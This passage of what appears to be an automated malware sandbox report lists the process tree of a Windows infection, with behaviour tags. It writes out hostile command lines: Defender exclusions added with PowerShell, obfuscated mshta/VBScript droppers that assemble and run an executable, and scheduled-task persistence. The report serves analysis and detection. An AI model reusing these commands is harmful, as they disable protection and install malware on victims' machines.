                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force
                                                                                                        3⤵
                                                                                                          PID:10104
                                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
                                                                                                          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
                                                                                                          3⤵
                                                                                                          • Adds Run key to start application
                                                                                                          • Checks whether UAC is enabled
                                                                                                          • Suspicious use of SetThreadContext
                                                                                                          • System policy modification
                                                                                                          PID:10280
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\AdvancedRun.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                            4⤵
                                                                                                              PID:11684
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\test.bat"
                                                                                                                5⤵
                                                                                                                  PID:11888
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\AdvancedRun.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                4⤵
                                                                                                                  PID:11788
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                  4⤵
                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                  PID:6476
                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    5⤵
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Adds Run key to start application
                                                                                                                    PID:1948
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                  4⤵
                                                                                                                    PID:940
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                    4⤵
                                                                                                                    • Blocklisted process makes network request
                                                                                                                    PID:4080
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                    4⤵
                                                                                                                      PID:5552
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                      4⤵
                                                                                                                        PID:680
                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                        4⤵
                                                                                                                          PID:7488
                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
                                                                                                                          4⤵
                                                                                                                            PID:9536
                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                                                                                                                            4⤵
                                                                                                                              PID:6372
                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                                                                                                                              4⤵
                                                                                                                                PID:10176
                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
                                                                                                                                4⤵
                                                                                                                                  PID:9208
                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                                                                                                                                  4⤵
                                                                                                                                    PID:5176
                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                  3⤵
                                                                                                                                    PID:10552
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force
                                                                                                                                    3⤵
                                                                                                                                      PID:10724
                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                      3⤵
                                                                                                                                        PID:10912
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
                                                                                                                                        3⤵
                                                                                                                                          PID:11844
                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"
                                                                                                                                          3⤵
                                                                                                                                            PID:12120
                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
                                                                                                                                            3⤵
                                                                                                                                              PID:6408
                                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                              3⤵
                                                                                                                                                PID:2576
                                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                                                                                                                3⤵
                                                                                                                                                  PID:5556
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\B5EB.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\B5EB.exe
                                                                                                                                                2⤵
                                                                                                                                                  PID:8632
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 8632 -s 468
                                                                                                                                                    3⤵
                                                                                                                                                    • Program crash
                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    PID:9416
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 8632 -s 504
                                                                                                                                                    3⤵
                                                                                                                                                    • Program crash
                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    PID:10832
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\D8A6.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\D8A6.exe
                                                                                                                                                  2⤵
                                                                                                                                                    PID:9560
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 9560 -s 272
                                                                                                                                                      3⤵
                                                                                                                                                      • Program crash
                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                      PID:11360
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\F690.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\F690.exe
                                                                                                                                                    2⤵
                                                                                                                                                      PID:10272
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 280
                                                                                                                                                        3⤵
                                                                                                                                                        • Program crash
                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                        PID:1992
                                                                                                                                                    • C:\Program Files (x86)\Wc2kdsr0\qjlkznh.exe
                                                                                                                                                      "C:\Program Files (x86)\Wc2kdsr0\qjlkznh.exe"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:6784
                                                                                                                                                    • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                      C:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.0
                                                                                                                                                      1⤵
                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                      PID:1944
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                      1⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:4292
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                                      1⤵
                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                      PID:4424
                                                                                                                                                      • C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                        C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                        2⤵
                                                                                                                                                          PID:2904
                                                                                                                                                        • C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                          C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                          2⤵
                                                                                                                                                            PID:10448
                                                                                                                                                          • C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                            C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                            2⤵
                                                                                                                                                              PID:11724
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0944361c3621a67a6.exe
                                                                                                                                                            Wed0944361c3621a67a6.exe
                                                                                                                                                            1⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:4668
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0968d19e5ec37794.exe
                                                                                                                                                            Wed0968d19e5ec37794.exe
                                                                                                                                                            1⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                            PID:2008
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0968d19e5ec37794.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0968d19e5ec37794.exe
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:5736
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09755e77ed017e8af.exe
                                                                                                                                                            Wed09755e77ed017e8af.exe
                                                                                                                                                            1⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                            PID:2188
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09755e77ed017e8af.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09755e77ed017e8af.exe
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:5728
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe
                                                                                                                                                            Wed09f69eef9c0d5b.exe
                                                                                                                                                            1⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:2484
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-50CN2.tmp\Wed09f69eef9c0d5b.tmp
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-50CN2.tmp\Wed09f69eef9c0d5b.tmp" /SL5="$1020C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe"
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              PID:2608
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe" /SILENT
                                                                                                                                                                3⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:5288
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-TKHTN.tmp\Wed09f69eef9c0d5b.tmp
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-TKHTN.tmp\Wed09f69eef9c0d5b.tmp" /SL5="$1022C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe" /SILENT
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  PID:5432
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2240 -ip 2240
                                                                                                                                                            1⤵
                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                            PID:2680
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1260 -ip 1260
                                                                                                                                                            1⤵
                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                            PID:2208
                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbscRIPT: cloSE ( CREAteoBJeCT ( "WScript.SHELL" ). ruN("C:\Windows\system32\cmd.exe /C copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe"" ..\I8TaQYBpLsJ.ExE &&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA &If """" == """" for %N IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe"" ) do taskkill /f -IM ""%~nXN"" " , 0 , TRuE ) )
                                                                                                                                                            1⤵
                                                                                                                                                              PID:916
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                "C:\Windows\system32\cmd.exe" /C copy /y "C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe" ..\I8TaQYBpLsJ.ExE &&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA&If ""== "" for %N IN ("C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe" ) do taskkill /f -IM "%~nXN"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:5632
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE
                                                                                                                                                                    ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:5712
                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vbscRIPT: cloSE ( CREAteoBJeCT ( "WScript.SHELL" ). ruN("C:\Windows\system32\cmd.exe /C copy /y ""C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE"" ..\I8TaQYBpLsJ.ExE &&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA &If ""/PVbWtk2ZAwA"" == """" for %N IN ( ""C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE"" ) do taskkill /f -IM ""%~nXN"" " , 0 , TRuE ) )
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:5816
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C copy /y "C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE" ..\I8TaQYBpLsJ.ExE &&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA&If "/PVbWtk2ZAwA"== "" for %N IN ("C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE" ) do taskkill /f -IM "%~nXN"
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:5932
                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VbsCrIPT: cLOsE ( cREAtEobjEct ( "wSCRIPT.SHEll" ). RUn( "C:\Windows\system32\cmd.exe /C eChO | SEt /P = ""MZ"" >PUVMYbL.81 & CopY /y /B PUVMYbl.81 + B0zcQ1x.o + 490lW~.x + LNOSCc5X.DT + Y2YAdQ.8~ + nPI8.L + Fbu1EQ9.~I ..\_ENU.W &Del /Q *& StaRT msiexec /y ..\_enU.W " , 0 , True ) )
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:5932
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /C eChO | SEt /P = "MZ" >PUVMYbL.81 &CopY /y /B PUVMYbl.81 + B0zcQ1x.o + 490lW~.x + LNOSCc5X.DT + Y2YAdQ.8~ + nPI8.L + Fbu1EQ9.~I ..\_ENU.W &Del /Q *& StaRT msiexec /y ..\_enU.W
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:1604
                                                                                                                                                                                • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                  msiexec /y ..\_enU.W
                                                                                                                                                                                  6⤵
                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                  PID:6920
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>PUVMYbL.81"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:6696
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" eChO "
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:6688
                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                taskkill /f -IM "Wed090db89ca4c58.exe"
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:5844
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exe
                                                                                                                                                                            Wed09fbe3bf81.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:1860
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:5720
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:5980
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09d761ab4704dd931.exe
                                                                                                                                                                            Wed09d761ab4704dd931.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                            PID:3496
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0900caa0501dc98f.exe
                                                                                                                                                                            Wed0900caa0501dc98f.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Modifies system certificate store
                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                            PID:1416
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:1340
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\y5FFPenTacrWG1BPf716r5iH.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\y5FFPenTacrWG1BPf716r5iH.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:6140
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                              PID:5988
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\D5jO5muoKL2QIbNiEfoop08_.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\D5jO5muoKL2QIbNiEfoop08_.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                              PID:5944
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\zzAXtJ3aS9abUWqkbmD7PY0t.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\zzAXtJ3aS9abUWqkbmD7PY0t.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:2220
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 300
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Program crash
                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                PID:2516
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\iUX9Vg8QH5ULbR97OMgoiUpA.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\iUX9Vg8QH5ULbR97OMgoiUpA.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:4756
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 280
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Program crash
                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                PID:6876
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\C2k7rTDY38qogzNci_bDbjGG.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\C2k7rTDY38qogzNci_bDbjGG.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:6112
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\dgNxzyTAdrQxFN9vJ8n88DPi.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\dgNxzyTAdrQxFN9vJ8n88DPi.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:5380
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5380 -s 300
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Program crash
                                                                                                                                                                                  PID:1628
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\E2t1dTST4wi9nETnfQ2vjtjw.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\E2t1dTST4wi9nETnfQ2vjtjw.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                PID:5384
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\u61pEibZx55ZTcsGrpE4kjkv.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\u61pEibZx55ZTcsGrpE4kjkv.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                PID:2612
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\z485zCgApYkB9GZalmCeDduF.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\z485zCgApYkB9GZalmCeDduF.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:2940
                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\O2e913GzFE0n9x332YZ0qWQ_.exe
                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\O2e913GzFE0n9x332YZ0qWQ_.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:1136
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\xdsagfgdfgbbv.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\xdsagfgdfgbbv.exe"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:3592
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD0C4.tmp.cmd""
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:6972
                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                          timeout 4
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                          PID:1172
                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                          schtasks.exe /create /f /sc MINUTE /mo 1 /tn "XLiveDriverApiSound" /tr "'C:\ProgramData\DriverXLiveEditor\XLiveDriverApiSound.exe"'
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:5484
                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\zb_GNN4ZicZJDYAaBv5ollkv.exe
